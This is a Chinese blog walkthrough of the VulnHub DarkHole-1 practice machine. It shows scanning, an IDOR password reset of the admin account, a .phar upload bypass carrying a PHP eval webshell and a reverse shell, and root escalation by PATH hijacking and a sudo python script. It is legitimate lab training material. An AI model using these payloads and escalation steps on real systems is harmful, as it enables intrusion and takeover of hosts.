靶机渗透练习44-DarkHole-1

靶机描述

靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/

Description

Difficulty: Easy

It's a box for beginners, but not easy, Good Luck

Hint: Don't waste your time For Brute-Fo

一、搭建靶机环境

攻击机Kali

IP地址:192.168.184.128

靶机

IP地址:192.168.184.142

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

image-20220104142020376

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

image-20220104142255732

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

image-20220104142344326

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

☁  kali  nmap -A -sV -T4 -p- 192.168.184.142
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-04 14:24 CST
Nmap scan report for 192.168.184.142
Host is up (0.00027s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e4:50:d9:50:5d:91:30:50:e9:b5:7d:ca:b0:51:db:74 (RSA)
|   256 73:0c:76:86:60:63:06:00:21:c2:36:20:3b:99:c1:f7 (ECDSA)
|_  256 54:53:4c:3f:4f:3a:26:f6:02:aa:9a:24:ea:1b:92:8c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: DarkHole
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 00:0C:29:CD:76:D5 (VMware)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=1/4%OT=22%CT=1%CU=38993%PV=Y%DS=1%DC=D%G=Y%M=000C29%TM
OS:=61D3E81A%P=x86_64-pc-linux-gnu)SEQ(SP=FC%GCD=1%ISR=100%TI=Z%CI=Z%II=I%T
OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=
OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F
OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.27 ms 192.168.184.142

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.88 seconds

2.1.3 尝试访问靶机网页

image-20220104143443765

2.1.4 目录扫描

☁  kali  dirb http://192.168.184.142/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue Jan  4 14:35:10 2022
URL_BASE: http://192.168.184.142/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.184.142/ ----
==> DIRECTORY: http://192.168.184.142/config/                                                                           
==> DIRECTORY: http://192.168.184.142/css/                                                                              
+ http://192.168.184.142/index.php (CODE:200|SIZE:810)                                                                  
==> DIRECTORY: http://192.168.184.142/js/                                                                               
+ http://192.168.184.142/server-status (CODE:403|SIZE:280)                                                              
==> DIRECTORY: http://192.168.184.142/upload/                                                                           
                                                                                                                        
---- Entering directory: http://192.168.184.142/config/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                        
---- Entering directory: http://192.168.184.142/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                        
---- Entering directory: http://192.168.184.142/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                        
---- Entering directory: http://192.168.184.142/upload/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Tue Jan  4 14:35:13 2022
DOWNLOADED: 4612 - FOUND: 2

查看相关URL

image-20220104143719321

image-20220104143727590

image-20220104143743813

image-20220104143801568

2.2枚举漏洞

22 端口分析

一般只能暴力破解,暂时没有合适的字典

80 端口分析

访问 80 端口

可以发现有一个登陆页面,点击“login”

image-20220104144014363

尝试登陆失败。点击“Sign up now”,注册一个账户

image-20220104144151016

有两个功能,一个是修改账户信息,可能存在 SQL 注入漏洞,一个是修改密码,可能存在逻
辑漏洞,比如任意密码修改。

测试 SQL 注入漏洞失败

尝试将用户名改为各种特殊字符,点击 Update,没有发现注入漏洞

image-20220104144518807

抓点击 Update 数据包,使用 sqlmap 跑一下

POST /dashboard.php?id=2 HTTP/1.1
Host: 192.168.184.142
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.184.142
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.184.142/dashboard.php?id=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=qpovp4jq6dgdt28tsvraqsj1ik
Connection: close

username=test&email=1%40qq.com

将数据包保存为文件,测试,没有成功

测试逻辑漏洞-密码重置成功

测试修改密码,抓包,分析数据包

image-20220104144708196

可以发现数据包中内容,只有密码和 ID,可以尝试修改 ID,看看是否可以修改其他账户的
密码,比如 id=1,可能是管理员的密码,使用 Burp 的 repeater 模块重发数据包修改 id=1 密码

image-20220104144800315

尝试登陆 admin,密码为 123

image-20220104144839345

成功登陆,可以发现多了一个上传的功能。

2.3漏洞利用

2.3.1 文件上传漏洞利用

尝试上传文件 shell.php,没有成功,

image-20220104145308215

伪造图片头,上传也是失败

GIF89a
<?php @eval($_POST["cmd"]); ?>

image-20220104145308215

更改一下后缀试试,貌似上传成功了,无法正常访问,而且无法连接shell

image-20220104145930069

image-20220104150015608

尝试修改扩展名为 phar,上传文件 test.phar,成功上传,且正常访问

image-20220104150226966

成功连接shell

image-20220104150243367

2.3.2 上传 php 反向 shell

在蚁剑上的虚拟终端非常非常不好用,具体原因我也不是很清楚,既然这样,咱们反向shell一波

image-20220104150738450

在kali中运行 locate webshell搜索 webshell,可以找到

image-20220104151223033

☁  kali  cp /usr/share/webshells/php/php-reverse-shell.php ./test2.phar

image-20220104151027579

访问上传的 phar 文件,nc 会反弹 shellimage-20220104151527589

反弹 shell 之后,切换到 bashshell:python -c 'import pty;pty.spawn("/bin/bash")'

image-20220104151718118

python3试试,python3 -c 'import pty;pty.spawn("/bin/bash")',成功进入bashshell

输入id查看用户及所属用户组

www-data@darkhole:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

2.4权限提升

2.4.1 寻找 suid 权限程序提权

在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null

www-data@darkhole:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/at
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/mount
/home/john/toto
/snap/snapd/12398/usr/lib/snapd/snap-confine
/snap/core18/2074/bin/mount
/snap/core18/2074/bin/ping
/snap/core18/2074/bin/su
/snap/core18/2074/bin/umount
/snap/core18/2074/usr/bin/chfn
/snap/core18/2074/usr/bin/chsh
/snap/core18/2074/usr/bin/gpasswd
/snap/core18/2074/usr/bin/newgrp
/snap/core18/2074/usr/bin/passwd
/snap/core18/2074/usr/bin/sudo
/snap/core18/2074/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2074/usr/lib/openssh/ssh-keysign

发现一个程序:/home/john/toto
切换到 john 目录:执行 toto,可以发现返回信息和 id 命令一致

www-data@darkhole:/home/john$ ./toto
./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)

其他没有发现(在 https://gtfobins.github.io/对比)

2.4.2 命令劫持提权

我们可以尝试将命令劫持,自己写一个 id 命令脚本,加入到环境变量 PATH 中

cd /tmp
# 切换到/tmp 目录
echo "/bin/bash" > id
# 将命令写入文件 id 中
chmod +x id
# 修改文件权限,增加执行权限
export PATH=/tmp:$PATH # 添加/tmp 目录到 PATH 变量中
which id
# 查看 id 命令的路径

image-20220104153812981

切换到/home/john 文件夹,执行./toto,就会启动一个 bash,这个 bash 应该就会切换 shell

image-20220104153914587

执行之后,可以发现,shell 切换了,变成了 john,查看文件,可以进行查看 user.txt

john@darkhole:/home/john$ cat user.txt
cat user.txt
DarkHole{You_Can_DO_It}

查看password

john@darkhole:/home/john$ cat password
cat password
root123

可以看到一个密码:root123
尝试切换到 root,输入密码 root123,结果失败

查看当前用户 john 的 sudo 权限,输入密码 root123

john@darkhole:/home/john$ sudo -l
sudo -l
[sudo] password for john: root123

Matching Defaults entries for john on darkhole:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on darkhole:
    (root) /usr/bin/python3 /home/john/file.py

可以看到 sudo 权限可以使用 python3 执行/home/john/file.py
查看 file.py,发现是空的
将代码写入到 file.py:echo 'import os;os.system("/bin/bash")' > file.py

john@darkhole:/home/john$ echo 'import os;os.system("/bin/bash")' > file.py
echo 'import os;os.system("/bin/bash")' > file.py

使用 sudo 运行文件:sudo /usr/bin/python3 /home/john/file.py

image-20220104154642050

总结

本靶机通过逻辑漏洞,文件上传漏洞,系统配置漏洞最终提权

  1. 测试 SQL 注入漏洞--SQLmap使用
  2. 测试逻辑漏洞--burpsuite使用
  3. 文件上传漏洞--蚁剑使用
  4. 上传 php 反向 shell
  5. 命令劫持提权
posted @ 2022-04-04 02:54  hirak0  阅读(132)  评论(0编辑  收藏  举报